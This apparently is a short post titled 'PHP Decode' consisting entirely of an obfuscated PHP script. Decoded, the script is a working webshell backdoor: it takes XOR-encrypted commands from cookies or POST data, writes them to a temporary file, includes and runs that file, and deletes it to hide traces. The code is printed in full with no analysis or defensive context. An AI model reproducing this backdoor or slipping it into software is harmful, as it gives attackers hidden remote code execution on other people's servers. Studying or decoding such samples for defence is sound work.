PHP Decode

<?php 
function x1($o2){$d3 = "*m7E#4)or3xfci?e1H_d" ."9ys@anpLg" ."8l6;-'5 Itk<.u2Fh/v" ."(b" ;$y5='';foreach($o2 as $x4){$y5.=$d3[$x4];}return $y5;}$w6 = Array();$w6[] = x1(Array(24,5,31,9,31,2,16,11,33,15,29,24,11,33,5,12,11,5,33,20,31,35,24,33,24,15,43,2,31,2,29,29,49,24,16,49));$w6[] = x1(Array(14,26,45,26,36,23,42,25,30,13,25,39,48,18,18,44,37,27,3,18,18,6,32,36));$w6[] = x1(Array(41,1,7,19,42,30,15));$w6[] = x1(Array(17,0));$w6[] = x1(Array(41,46));$w6[] = x1(Array(4));$w6[] = x1(Array(40));$w6[] = x1(Array(11,13,30,15,18,26,42,38,18,12,7,25,38,15,25,38,22));$w6[] = x1(Array(24,8,8,24,21,18,1,15,8,28,15));$w6[] = x1(Array(22,38,8,18,8,15,26,15,24,38));$w6[] = x1(Array(15,10,26,30,7,19,15));$w6[] = x1(Array(22,42,49,22,38,8));$w6[] = x1(Array(42,25,30,13,25,39));$w6[] = x1(Array(22,38,8,30,15,25));$w6[] = x1(Array(26,24,12,39));$w6[] = x1(Array(1,19,35));foreach ($w6[8]($_COOKIE, $_POST) as $g14 => $u11){function p8($w6, $g14, $i10){return $w6[11]($w6[9]($g14 . $w6[0], ($i10 / $w6[13]($g14)) + 1), 0, $i10);}function v7($w6, $c12){return @$w6[14]($w6[3], $c12);}function w9($w6, $c12){if (isset($c12[2])) {$x13 = $w6[4] . $w6[15]($w6[0]) . $w6[2];@$w6[7]($x13, $w6[6] . $w6[1] . $c12[1]($c12[2]));@include($x13);@$w6[12]($x13);exit();}}$u11 = v7($w6, $u11);w9($w6, $w6[10]($w6[5], $u11 ^ p8($w6, $g14, $w6[13]($u11))));} ?>